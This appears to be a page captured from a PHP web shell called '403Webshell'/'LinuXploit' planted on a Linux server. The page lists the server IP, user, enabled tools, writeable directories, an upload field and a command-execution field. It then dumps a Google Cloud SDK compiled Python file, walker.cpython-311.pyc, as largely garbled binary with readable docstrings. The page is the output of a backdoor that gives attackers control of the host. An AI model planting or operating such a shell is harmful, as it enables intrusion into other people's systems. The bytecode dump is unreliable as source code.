403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/googlecloudsdk/calliope/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/googlecloudsdk/calliope/__pycache__/walker.cpython-311.pyc
�

�����v�dZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddl
Z
Gd	�d
e��ZdS)z,A module for walking the Cloud SDK CLI tree.�)�absolute_import)�division)�unicode_literals)�Any)�
console_io)�progress_trackerNc�>�eZdZdZ		d
d�Zd�Zdd�Zd�Zd�Zd	�Z	dS)�Walkera=Base class for walking the Cloud SDK CLI tree.

  Attributes:
    _roots: The root elements of the CLI tree that will be walked.
    _num_nodes: The total number of nodes in the tree.
    _num_visited: The count of visited nodes so far.
    _progress_callback: The progress bar function to call to update progress.
  NFc	�����|����|r!��fd�|D��}d�|D���_n�g�_d�_|r`tjd��5�jD]*}�xjd|�d|���zz
c_�+	ddd��n#1swxYwYn2�jD]*}�xjd|�d|���zz
c_�+d�_|ptj�_	dS)	a�Constructor.

    Args:
      cli: The Cloud SDK CLI object.
      progress_callback: f(float), The function to call to update the progress
        bar or None for no progress bar.
      ignore_load_errors: bool, True to ignore command load failures. This
        should only be used when it is not critical that all data is returned,
        like for optimizations like static tab completion.
      restrict: Restricts the walk to the command/group dotted paths in this
        list. For example, restrict=['gcloud.alpha.test', 'gcloud.topic']
        restricts the walk to the 'gcloud topic' and 'gcloud alpha test'
        commands/groups. When provided here, any groups above the restrictions
        in the tree will not be loaded or visited.
    c�<��g|]}���|����S�)�_GetSubElement)�.0�r�self�tops  ���%lib/googlecloudsdk/calliope/walker.py�
<listcomp>z#Walker.__init__.<locals>.<listcomp>:s)���=�=�=�q�t�"�"�3��*�*�=�=�=�c��g|]}|�|��Sr
r
)rrs  rrz#Walker.__init__.<locals>.<listcomp>;s��+�+�+�1��+�Q�+�+�+rrzLoading CLI Treeg�?T)�	recursive�ignore_load_errorsN)
�_TopElement�_roots�
_num_nodesr�ProgressTracker�LoadAllSubElements�_num_visitedr�DefaultProgressBarCallback�_progress_callback)r�cli�progress_callbackr�restrict�roots�rootrs`      @r�__init__zWalker.__init__'s�����"�/�/�
�
�C���=�=�=�=�=�H�=�=�=�e�+�+��+�+�+�d�k�k��E�d�k��D�O��C��+�,>�?�?�E�E��K�	E�	E�D�
�/�/�S�4�#:�#:��1C�$;�$E�$E�E�E�/�/�/�	E�E�E�E�E�E�E�E�E�E�E�E����E�E�E�E��
�+�C�C�$����3��!8�!8��/A�"9�"C�"C�C�	C�����D��0� E�)�D�	���s�3B�B#�&B#c��|�d��dd�}|}|D]}|�|��}|sdS�|S)N�.�)�split�LoadSubElement)r�top_element�path�parts�current�parts      rrzWalker._GetSubElementNsZ���J�J�s�O�O�A�B�B��E��G������&�&�t�,�,�g�
���t�t���Nrc���������dtdtfd��d	����fd�	����fd��d�_d}�jD]}�|d��}�����|S)
aCalls self.Visit() on each node in the CLI tree.

    The walk is DFS, ordered by command name for reproducability.

    Args:
      hidden: Include hidden groups and commands if True.
      universe_compatible: Exclusively include commands which are marked
        universe compatible.
      restrict: Restricts the walk to the command/group dotted paths in this
        list. For example, restrict=['gcloud.alpha.test', 'gcloud.topic']
        restricts the walk to the 'gcloud topic' and 'gcloud alpha test'
        commands/groups. When provided here, parent groups will still be visited
        as the walk progresses down to these leaves, but only parent groups
        between the restrictions and the root.

    Returns:
      The return value of the top level Visit() call.
    �command�returnc�V�t|t��o|���S)z�Determines if a command is universe compatible.

      Args:
        command: CommandCommon command node.

      Returns:
        True if command is universe compatible.
      )�
isinstance�dict�IsUniverseCompatible)r2s r�_IsUniverseCompatiblez*Walker.Walk.<locals>._IsUniverseCompatiblejs(���G�T�*�*�
*�
O��0L�0L�0N�0N�OrFc����s|���rdS�r
�|��sdS�sdSd�|�����}�D]4}|�|��rdS|r|�|��rdS�5dS)aDetermines if command should be included in the walk.

      Args:
        command: CommandCommon command node.
        traverse: If True then check traversal through group to subcommands.

      Returns:
        True if command should be included in the walk.
      FTr()�IsHidden�join�GetPath�
startswith)r2�traverser-�itemr8�hiddenr#�universe_compatibles    ����r�_IncludezWalker.Walk.<locals>._Includeus�������(�(�*�*���u�	��%:�%:�7�%C�%C���u�
���t�
�X�X�g�o�o�'�'�
(�
(�d����$��?�?�4� � �	�����	�����-�-�	�����
�Urc� ��|js�	�||d���|S�	�||d���}g}|jrBtj|j��D](\}}�|��r|�||df���)|jrDtj|j��D]*\}}�|d���r|�||df���+t|��D]-\}}}|r
�||����	�||d����.|S)a
Walk() helper that calls self.Visit() on each node in the CLI tree.

      Args:
        node: CommandCommon tree node.
        parent: The parent Visit() return value, None at the top level.

      Returns:
        The return value of the outer Visit() call.
      F)�is_groupT)r>)rD�_Visit�commands�six�	iteritems�append�groups�sorted)
�node�parent�commands_and_groups�namer2�_rDrB�_Walkrs
       ���rrQzWalker.Walk.<locals>._Walk�sX����]�����D�&�5��1�1�1��
��{�{�4��$�{�7�7�f���	
��?� �]�4�=�9�9�	?�	?�M�D�'�
�X�g�
�
�?��&�&��g�u�'=�>�>�>��	
��>� �]�4�;�7�7�	>�	>�M�D�'�
�X�g��
-�
-�
-�>��&�&��g�t�'<�=�=�=��"(�)<�"=�"=�7�7�
�!�W�h��	7�
�%���
 �
 �
 �
 �
�+�+�g�v��+�
6�
6�
6�
6�
�mrrN)F)r�boolrr�Done)	rr@rAr#rMr%rBr8rQs	````  @@@r�WalkzWalker.WalkWs����������&	P�s�	P�t�	P�	P�	P�	P����������0�������@�D��
�F���!�!���u�T�4� � �f�f��I�I�K�K�K��Mrc��|xjdz
c_|�|j|jz��|�|||��S)Nr))rr r�Visit�rrLrMrDs    rrEz
Walker._Visit�sJ������������D�-���@�A�A�A��:�:�d�F�H�-�-�-rc��dS)a�Visits each node in the CLI command tree.

    Called preorder by WalkCLI() using DFS.

    Args:
      node: group/command CommandCommon info.
      parent: The parent Visit() return value, None at the top level.
      is_group: True if node is a group, otherwise its is a command.

    Returns:
      A new parent value for the node subtree. This value is the parent arg
      for the Visit() calls for the children of this node.
    Nr
rWs    rrVzWalker.Visit�s	��	�Drc��dS)z<Cleans up after all nodes in the CLI tree have been visited.Nr
)rs rrSzWalker.Done�s���Dr)NFN)FFN)
�__name__�
__module__�__qualname__�__doc__r&rrTrErVrSr
rrr
r
s���������FK��%F�%F�%F�%F�N���[�[�[�[�z.�.�.�
	�	�	� 	�	�	�	�	rr
)
r]�
__future__rrr�typingr�googlecloudsdk.core.consolerrrG�objectr
r
rr�<module>rbs��� 3�2�&�&�&�&�&�&�������'�'�'�'�'�'�������2�2�2�2�2�2�8�8�8�8�8�8�
�
�
�
�n	�n	�n	�n	�n	�V�n	�n	�n	�n	�n	r

Youez - 2016 - github.com/yon3zu
LinuXploit